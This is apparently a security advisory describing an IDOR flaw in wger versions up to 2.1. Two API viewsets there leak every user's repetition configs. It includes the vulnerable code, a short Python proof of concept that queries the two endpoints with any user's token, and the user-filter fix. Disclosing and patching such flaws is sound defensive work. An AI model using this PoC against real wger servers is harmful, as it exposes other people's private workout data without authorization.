wger: IDOR in RepetitionsConfig and MaxRepetitionsConfig API leak other users' workout data

Overview

Summary

RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their get_queryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.

Details

wger/manager/api/views.py:499 and :518:

# VULNERABLE
class RepetitionsConfigViewSet(viewsets.ModelViewSet):
    def get_queryset(self):
        return RepetitionsConfig.objects.all()

class MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):
    def get_queryset(self):
        return MaxRepetitionsConfig.objects.all()

Every sibling viewset in the same file correctly filters by user. For example, WeightConfigViewSet at line 459:

# CORRECT — how it should work
def get_queryset(self):
    return WeightConfig.objects.filter(
        slot_entry__slot__day__routine__user=self.request.user
    )

The same user filter is present on SetsConfig, RestConfig, RiRConfig, and their Max variants — only RepetitionsConfig and MaxRepetitionsConfig are missing it.

PoC

import requests

BASE = "http://localhost"
headers = {"Authorization": "Token YOUR_TOKEN"}  # any registered user

r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers)
print(r.json())  # returns ALL users' repetition configs, not just your own

r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers)
print(r.json())  # same — all users' max repetition configs

Registration is open by default. Sequential IDs allow full enumeration.

Impact

Any authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.

Fix: Add the same user filter used by every other config viewset:

def get_queryset(self):
    return RepetitionsConfig.objects.filter(
        slot_entry__slot__day__routine__user=self.request.user
    )

Affected packages

• wger <= 2.1

Remediation

Refer to the advisory for the patched release.